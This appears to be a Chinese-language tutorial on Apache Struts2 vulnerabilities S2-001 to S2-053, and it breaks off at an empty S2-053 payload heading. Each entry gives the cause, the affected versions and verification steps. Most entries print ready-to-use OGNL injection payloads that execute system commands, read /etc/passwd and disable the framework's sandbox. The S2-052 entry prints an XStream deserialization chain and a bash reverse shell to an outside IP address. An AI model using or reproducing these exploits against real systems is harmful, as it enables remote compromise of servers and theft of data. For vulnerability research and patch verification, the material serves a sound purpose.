目錄
??S2-001
??1、漏洞原理
??2、影響版本
??3、驗(yàn)證方法
??S2-005
??1、漏洞原理
??2、影響版本
??3、驗(yàn)證方法(無回顯)
??4、驗(yàn)證方法(有回顯)
??S2-007
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-008
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-009
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-012
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-013
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-014
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-015
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-016
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-032
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-045
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-046
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-048
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-052
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-053
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-057
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-059
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-061
??1、漏洞原理
??2、影響版本
??3、漏洞驗(yàn)證
??S2-001
??1、漏洞原理
? ? 因用戶提交表單數(shù)據(jù)并且驗(yàn)證失敗時(shí),后端會(huì)將用戶之前提交的參數(shù)值使用OGNL表達(dá)式%{value}進(jìn)行解析,然后重新填充到對(duì)應(yīng)的表單數(shù)據(jù)中。如注冊或登錄頁面,提交失敗后一般會(huì)默認(rèn)返回之前提交的數(shù)據(jù),由于后端使用%{value}對(duì)提交的數(shù)據(jù)執(zhí)行了一次OGNL 表達(dá)式解析,所以可以直接構(gòu)造 Payload進(jìn)行命令執(zhí)行。
??2、影響版本
Struts 2.0.0 - 2.0.8
??3、驗(yàn)證方法
??? 由漏洞原理可知,可以通過%{value}進(jìn)行判斷是否存在S2-001,這里我們構(gòu)建payload為:%{1+1},下圖分別為提交前后顯示,提交后返回中計(jì)算了{(lán)}中的數(shù)學(xué)表達(dá)式
??(1)獲取web路徑poc
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
??(2)命令執(zhí)行poc(只需要修改加粗處命令即可,讀取文件是第一個(gè)參數(shù)為命令,第二個(gè)參數(shù)為路徑,若只有命令則只添加命令參數(shù)即可)
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
??S2-005
??1、漏洞原理
??? S2-005是由于官方在修補(bǔ)S2-003不全面導(dǎo)致繞過補(bǔ)丁造成的。我們都知道訪問Ognl的上下文對(duì)象必須要使用#符號(hào),S2-003對(duì)#號(hào)進(jìn)行過濾,但是沒有考慮到unicode編碼情況,導(dǎo)致\u0023或者8進(jìn)制\43繞過。S2-005則是繞過官方的安全配置(禁止靜態(tài)方法調(diào)用和類方法執(zhí)行),再次造成漏洞。
??2、影響版本
Struts 2.0.0 - Struts 2.1.8.1
??3、驗(yàn)證方法(無回顯)
??POC:
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
此poc分為三個(gè)部分,執(zhí)行結(jié)果為在tmp文件夾下創(chuàng)建success文件
(1)(’\u0023_memberAccess[‘a(chǎn)llowStaticMethodAccess’]’)(vaaa)=true
??? 第一步將_memberAccess變量中的allowStaticMethod設(shè)置為true,這里payload還要加括號(hào),并且還帶個(gè)"(meh)"呢?其實(shí)是為了遵守Ognl語法樹的規(guī)則。第一步完成后,就可以執(zhí)行靜態(tài)方法了。
(2)(aaaa)((’\u0023context[‘xwork.MethodAccessor.denyMethodExecution’]\u003d\u0023vccc’)(\u0023vccc\u003dnew java.lang.Boolean(“false”)))
??? 第二步將上下文中的xwork.MethodAccessor.denyMethodExecution設(shè)置為false,即允許方法的執(zhí)行,這里的MehodAccessor是Struts2中規(guī)定方法/屬性訪問策略的類,也存在與Ognl的上下文中。同樣遵守Ognl語法樹規(guī)則。
(3)(asdf)((’\u0023rt.output(“touch@/tmp/success”.split("@"))’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
??? 第三步就是真正的攻擊代碼,前兩步就是要保證第三步成功執(zhí)行,第三步就是執(zhí)行了關(guān)閉服務(wù)器的代碼。但是要過調(diào)用Runtime類的靜態(tài)方法獲取一個(gè)Runtime對(duì)象。
??4、驗(yàn)證方法(有回顯)
??POC:
('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'whoami\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
(1)設(shè)置上下文denyMethodExecution=false 運(yùn)行方法執(zhí)行
(2)excludeProperties=@java.util.Collections@EMPTY_SET (@class@調(diào)用靜態(tài)變量)設(shè)置外部攔截器為空
(3)mycmd=“whoami” 定義我們的執(zhí)行命令的變量
(4)myret=@java.lang.Runtime@getRuntime().exec(\43mycmd)’) (調(diào)用靜態(tài)方法執(zhí)行我們的變量)
(5)mydat=new java.io.DataInputStream(\43myret.getInputStream())’) 獲取輸入流 (post)
(6)myres=new data[51020];mydat.readfully(myres); 讀取輸入流
(5,6為了轉(zhuǎn)換輸入流的類型)
(7)mystr=new java.lang.String(#myres) ;定義并賦值輸入流
(8)myout=org.apache.struts2.ServletActionContext@getResponse() ;得到repsonse的數(shù)據(jù)
(9)myout.getWriter().println(#mystr) ;把response的數(shù)據(jù)打印到屏幕上。
??S2-007
??1、漏洞原理
??? age參數(shù)只能是整數(shù),而非整數(shù)會(huì)導(dǎo)致錯(cuò)誤,struct會(huì)將用戶的輸入當(dāng)作ognl表達(dá)式執(zhí)行,從而導(dǎo)致了該漏洞
??2、影響版本
Struts 2.0.0 - Struts 2.2.3
??3、漏洞驗(yàn)證
在age參數(shù)處輸入以下poc即可
??POC:
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '
??S2-008
??1、漏洞原理
?debug=command&expression=處存在OGNL遠(yuǎn)程代碼執(zhí)行漏洞
??2、影響版本
Struts 2.0.0 - Struts 2.3.1
??3、漏洞驗(yàn)證
在url后拼接以下POC即可
??POC:
?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()
??S2-009
??1、漏洞原理
??? 當(dāng)前版本的action中接受了某個(gè)參數(shù)example,這個(gè)參數(shù)將進(jìn)入OGNL的上下文。我們可以將OGNL表達(dá)式放在example參數(shù)中,然后使用/HelloWorld.acton?example=&(example)(‘xxx’)=1的方法來執(zhí)行繞過。
??2、影響版本
Struts 2.0.0 - Struts 2.3.1.1
??3、漏洞驗(yàn)證
在漏洞url后拼接以下poc即可(age參數(shù)可不要,根據(jù)具體情況取舍)
??POC:
?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]
??S2-012
??1、漏洞原理
??? 重定向的路徑中使用了 %{} 導(dǎo)致了的 RCE 漏洞。漏洞觸發(fā)原理與 S2-001 類似,對(duì) %{} 表達(dá)式進(jìn)行了循環(huán)解析
??? OGNL 評(píng)估已在S2-003和S2-005和S2-009 中得到解決,但是,由于它只涉及參數(shù)的名稱,因此結(jié)果是基于將可接受的參數(shù)名稱列入白名單并拒絕評(píng)估參數(shù)中包含的表達(dá)式的結(jié)果修復(fù)名稱,僅部分關(guān)閉了漏洞。第二次評(píng)估發(fā)生在重定向結(jié)果從堆棧中讀取并使用先前注入的代碼作為重定向參數(shù)時(shí)。這使得惡意用戶可以將任意 OGNL 語句放入由操作公開的任何未經(jīng)處理的 String 變量中,并將其評(píng)估為 OGNL 表達(dá)式以啟用方法執(zhí)行和執(zhí)行任意方法,從而繞過 Struts 和 OGNL 庫保護(hù)。
??? 在配置文件中 Action 中 Result 時(shí)使用了重定向類型,并且還使用 ${param_name} 作為重定向變量,可能會(huì)導(dǎo)致 OGNL 表達(dá)式命令執(zhí)行。
??2、影響版本
Struts 2.1.0 - 2.3.13
??3、漏洞驗(yàn)證
使用S2-001的POC即可,但是要對(duì)其進(jìn)行URL編碼
??POC:
%25{
%23a%3d(new+java.lang.ProcessBuilder(new+java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
%23b%3d%23a.getInputStream(),
%23c%3dnew+java.io.InputStreamReader(%23b),
%23d%3dnew+java.io.BufferedReader(%23c),
%23e%3dnew+char[50000],
%23d.read(%23e),????????
%23f%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
%23f.getWriter().println(new+java.lang.String(%23e)),
%23f.getWriter().flush(),%23f.getWriter().close()
}
??S2-013
??1、漏洞原理
??? 鏈接標(biāo)簽帶入?yún)?shù)時(shí)導(dǎo)致的OGNL解析漏洞。Struts2標(biāo)簽中<s:a>和<s:url>都包含一個(gè)includeParams 屬性,其值可設(shè)置為none、get或all,參考官方其對(duì)應(yīng)意義如下:
?none - 鏈接不包含請求的任意參數(shù)值(默認(rèn))
?get - 鏈接只包含 GET 請求中的參數(shù)和其值
?all - 鏈接包含 GET 和 POST 所有參數(shù)和其值
??? <s:a>用來顯示一個(gè)超鏈接,當(dāng)includeParams=all的時(shí)候,會(huì)將本次請求的GET和POST參數(shù)都放在URL的GET參數(shù)上。在放置參數(shù)的過程中會(huì)將參數(shù)進(jìn)行OGNL渲染,造成任意命令執(zhí)行漏洞。
??2、影響版本
Struts 2.0.0 - 2.3.14
??3、漏洞驗(yàn)證
直接在URL鏈接后添加任意參數(shù)和值即可
??POC:
?xxx=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D
??S2-014
??1、漏洞原理
??? S2-014是對(duì)于S2-013修復(fù)不完整的造成的漏洞,在S2-013 修復(fù)的代碼中,官方限制了%{(#exp)}格式的OGNL執(zhí)行,但是忽略了${exp} OGNL表達(dá)式執(zhí)行的方式,因此導(dǎo)致了S2-014的產(chǎn)生。
??2、影響版本
Struts ?2.0.0 - 2.3.14.1
??3、漏洞驗(yàn)證
??POC :
?x=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22id%22%29%29%7D
??S2-015
??1、漏洞原理
? ? S2-015 官方公告公布了兩種漏洞利用方式,一種是通配符匹配action,一種是在struts.xml中使用${}引用Action變量導(dǎo)致的二次解析。
(1)漏洞產(chǎn)生于配置了 Action 通配符 *,并將其作為動(dòng)態(tài)值時(shí),解析時(shí)會(huì)將其內(nèi)容執(zhí)行 OGNL 表達(dá)式
例如如下配置:
<package name="S2-015" extends="struts-default">
??? <action name="*" class="com.demo.action.PageAction">
??????? <result>/{1}.jsp</result>
??? </action>
</package>
??? 上述配置能讓我們訪問name.action時(shí)使用name.jsp來渲染頁面,但是在提取name并解析時(shí),對(duì)其執(zhí)行了OGNL表達(dá)式解析,所以導(dǎo)致命令執(zhí)行。漏洞原理跟S2-012類似,S2-012利用的重定向類型,S2-015利用的Action的名稱。復(fù)現(xiàn)的時(shí)候發(fā)現(xiàn),由于name值的位置比較特殊,一些特殊的字符如 / " \ 都無法使用(轉(zhuǎn)義也不行),所以在利用該點(diǎn)進(jìn)行遠(yuǎn)程命令執(zhí)行時(shí)一些帶有路徑的命令可能無法執(zhí)行成功。
??? 需要注意,在 Struts 2.3.14.2 中,官方將SecurityMemberAccess類中成員變量allowStaticMethodAccess添加了final修飾符,并且將其set方法進(jìn)行了刪除。這就導(dǎo)致了我們不能通過#_memberAccess["allowStaticMethodAccess"]=true來改變其值,因?yàn)闆]有set方法了。但是至少有兩種思路進(jìn)行繞過:
a. 使用反射修改其值:
#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),
b. 使用非靜態(tài)方法調(diào)用 POC:
new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a","Calculator.app"}).start()
(2)在struts.xml中使用${}引用Action變量導(dǎo)致的二次解析
例如如下配置:
<result type="httpheader">
??? <param name="errorMessage">${message}</param>
</result>
??? 這里配置了<param name="errorMessage">${message}</param>,其中message為ParamAction中的一個(gè)私有變量,這樣配置會(huì)導(dǎo)致觸發(fā)該Result時(shí),Struts2會(huì)從請求參數(shù)中獲取message的值,并在解析過程中,觸發(fā)了OGNL表達(dá)式執(zhí)行。這里需要注意的是這里的二次解析是因?yàn)樵趕truts.xml中使用${param}引用了Action中的變量所導(dǎo)致的,并不針對(duì)于 type=“httpheader”這種返回方式。
??2、影響版本
Struts 2.0.0 - 2.3.14.2
??3、漏洞驗(yàn)證
? ? 直接提交%{1+1}或${1+1}作為其變量值提交就會(huì)得到執(zhí)行,注意用%{1+1}時(shí)需要將%進(jìn)行url編碼
??POC:
%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('id').getInputStream())%2C%23q%7D.action
??S2-016
??1、漏洞原理
??? 在struts2中,DefaultActionMapper類支持以"action:"、“redirect:”、"redirectAction:"作為導(dǎo)航或是重定向前綴,但是這些前綴后面同時(shí)可以跟OGNL表達(dá)式,由于struts2沒有對(duì)這些前綴做過濾,導(dǎo)致利用OGNL表達(dá)式調(diào)用java靜態(tài)方法執(zhí)行任意系統(tǒng)命令。
??2、影響版本
Struts 2.0.0 - 2.3.15.2
??3、漏洞驗(yàn)證
? ? 漏洞訪問URL格式:http://your-ip:8080/index.action?redirect:OGNL表達(dá)式,注意一定要對(duì)POC進(jìn)行URL編碼
??(1)命令執(zhí)行
??原POC:
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("whoami").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}
??URL編碼后:
redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22whoami%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D
???(2)獲取web目錄
??原POC:
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}
??URL編碼:
redirect%3A%24%7B%23req%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletReq'%2B'uest')%2C%23resp%3D%23context.get('co'%2B'm.open'%2B'symphony.xwo'%2B'rk2.disp'%2B'atcher.HttpSer'%2B'vletRes'%2B'ponse')%2C%23resp.setCharacterEncoding('UTF-8')%2C%23ot%3D%23resp.getWriter%20()%2C%23ot.print('web')%2C%23ot.print('path%3A')%2C%23ot.print(%23req.getSession().getServletContext().getRealPath('%2F'))%2C%23ot.flush()%2C%23ot.close()%7D
??S2-032
??1、漏洞原理
??? Struts2在開啟了動(dòng)態(tài)方法調(diào)用(Dynamic Method Invocation)的情況下,可以使用method:<name>的方式來調(diào)用名字是<name>的方法,而這個(gè)方法名將會(huì)進(jìn)行OGNL表達(dá)式計(jì)算,導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。
??2、影響版本
Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
??3、漏洞驗(yàn)證
??POC:
xxx.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id
??S2-045
??1、漏洞原理
??? 當(dāng)content-type中出現(xiàn)"multipart/form_data"時(shí),會(huì)被認(rèn)為有文件上傳,從而調(diào)用struts2默認(rèn)的上傳文件組件Jakarta,通過組件漏洞載入OGNL代碼并執(zhí)行,從而達(dá)到遠(yuǎn)程調(diào)用的目的。
??2、影響版本
Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10
??3、漏洞驗(yàn)證
??(1)POC1:驗(yàn)證漏洞是否存在
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data
??(2)POC2:用于進(jìn)行命令執(zhí)行
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
POC2解析:
(1)用來觸發(fā)文件漏洞,聲明為文件上傳
%{(#test='multipart/form-data')
(2)用來注入OGNL代碼,通過ognl表達(dá)式靜態(tài)調(diào)用獲取ognl.OgnlContext的DEFAULT_MEMBER_ACCESS屬性,并將獲取的結(jié)果覆蓋_memberAccess屬性,繞過SecurityMemberAccess的限制。
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
(3)剩下的為調(diào)用CMD命令的代碼,簡單粗暴,首先判斷操作系統(tǒng),win下調(diào)用cmd,linux下調(diào)用bash。
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true))
.(#process=#p.start())
.(#ros(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))
.(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}
??S2-046
??1、漏洞原理
??? 當(dāng)content-type中出現(xiàn)"multipart/form_data"時(shí),會(huì)被認(rèn)為有文件上傳,從而調(diào)用struts2默認(rèn)的上傳文件組件Jakarta,通過組件漏洞載入OGNL代碼并執(zhí)行,從而達(dá)到遠(yuǎn)程調(diào)用的目的。
??2、影響版本
Struts 2.3.5 - Struts 2.3.31、Struts 2.5 - Struts 2.5.10
??3、漏洞驗(yàn)證
??? 此漏洞與S2-045漏洞原理一致,只是漏洞點(diǎn)不一樣,因此POC可以通用,但是要注意因?yàn)樵撀┒吹穆┒袋c(diǎn)在filename參數(shù),所以最后要使用00截?cái)唷?0截?cái)嗖僮鞣椒ǎ涸赑OC最后添加字符空格+a,添加空格是為了占位,字符a是為了便于識(shí)別點(diǎn)位。打開hex扎到a的位置,將其前面一個(gè)字符改為00即可
??S2-048
??1、漏洞原理
? ? Struts2 2.3.x 系列啟用了struts2-struts1-plugin 插件并且存在 struts2-showcase 目錄,其漏洞成因是當(dāng)ActionMessage接收客戶可控的參數(shù)數(shù)據(jù)時(shí),將用戶可控的值添加到 ActionMessage 并在客戶前端展示,導(dǎo)致其進(jìn)入 getText 函數(shù),最后 message 被當(dāng)作 ognl 表達(dá)式執(zhí)行,導(dǎo)致任意代碼執(zhí)行。
??2、影響版本
Struts 2.3.x系列中啟用了struts2-struts1-plugin插件的版本
??3、漏洞驗(yàn)證
在name一欄輸入%{1+1}或者${1+1},點(diǎn)擊提交,若返回界面如下所示則證明存在該漏洞。
??POC:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
??S2-052
??1、漏洞原理
??? Struts2的REST插件存在遠(yuǎn)程代碼執(zhí)行的高危漏洞,Struts2 REST插件的XStream插件的XStream組件存在反序列化漏洞,使用XStream組件對(duì)XML格式的數(shù)據(jù)包進(jìn)行反序列化操作時(shí),未對(duì)數(shù)據(jù)內(nèi)容進(jìn)行有效驗(yàn)證,存在安全隱患,可被遠(yuǎn)程攻擊。
??2、影響版本
Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
??3、漏洞驗(yàn)證
??? 訪問http://ip/orders.xhtml,即可看到showcase頁面。由于rest-plugin會(huì)根據(jù)URI擴(kuò)展名或Content-Type來判斷解析方法,所以我們只需要修改orders.xhtml為orders.xml或修改Content-Type頭為application/xml,即可在Body中傳遞XML數(shù)據(jù)。點(diǎn)擊任意一個(gè)edit,并用bp抓包,轉(zhuǎn)換GET請求為POST請求,按要求修改Content-Type,插入驗(yàn)證代碼。
??(1)創(chuàng)建文件代碼
? ? 以下代碼功能為在tmp文件夾下創(chuàng)建success文件,點(diǎn)擊發(fā)送后利用命令docker-compose exec struts2 ls /tmp查看是否成功創(chuàng)建
??POC:
<map>
? <entry>
??? <jdk.nashorn.internal.objects.NativeString>
????? <flags>0</flags>
????? <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
??????? <dataHandler>
????????? <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
??????????? <is class="javax.crypto.CipherInputStream">
????????????? <cipher class="javax.crypto.NullCipher">
??????????????? <initialized>false</initialized>
??????????????? <opmode>0</opmode>
??????????????? <serviceIterator class="javax.imageio.spi.FilterIterator">
????????????????? <iter class="javax.imageio.spi.FilterIterator">
??????????????????? <iter class="java.util.Collections$EmptyIterator"/>
??????????????????? <next class="java.lang.ProcessBuilder">
????????????????????? <command>
??????????????????????? <string>touch</string>
??????????????????????? <string>/tmp/success</string>
????????????????????? </command>
????????????????????? <redirectErrorStream>false</redirectErrorStream>
??????????????????? </next>
????????????????? </iter>
????????????????? <filter class="javax.imageio.ImageIO$ContainsFilter">
??????????????????? <method>
????????????????????? <class>java.lang.ProcessBuilder</class>
????????????????????? <name>start</name>
????????????????????? <parameter-types/>
??????????????????? </method>
??????????????????? <name>foo</name>
????????????????? </filter>
????????????????? <next class="string">foo</next>
??????????????? </serviceIterator>
??????????????? <lock/>
????????????? </cipher>
????????????? <input class="java.lang.ProcessBuilder$NullInputStream"/>
????????????? <ibuffer></ibuffer>
????????????? <done>false</done>
????????????? <ostart>0</ostart>
????????????? <ofinish>0</ofinish>
????????????? <closed>false</closed>
??????????? </is>
??????????? <consumed>false</consumed>
????????? </dataSource>
????????? <transferFlavors/>
??????? </dataHandler>
??????? <dataLen>0</dataLen>
????? </value>
??? </jdk.nashorn.internal.objects.NativeString>
??? <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
? </entry>
? <entry>
??? <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
??? <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
? </entry>
</map>
??(2)反彈shell代碼
將核心代碼(紅框框處部分)替換為以下代碼即可:
??POC:
<command> <string>bash</string> <string>-c</string> <string>bash -i >& /dev/tcp/192.168.244.128/777 0>&1</string> </command>
??S2-053
??1、漏洞原理
??? Struts2在使用Freemarker模板引擎的時(shí)候,同時(shí)允許解析OGNL表達(dá)式。導(dǎo)致用戶輸入的數(shù)據(jù)本身不會(huì)被OGNL解析,但由于被Freemarker解析一次后變成離開一個(gè)表達(dá)式,被OGNL解析第二次,導(dǎo)致任意命令執(zhí)行漏洞。
??2、影響版本
Struts 2.0.1 -Struts 2.3.33, Struts 2.5 - Struts 2.5.10
??3、漏洞驗(yàn)證
訪問地址http://IP/hello.action,在your url框中填入POC即可
??POC:
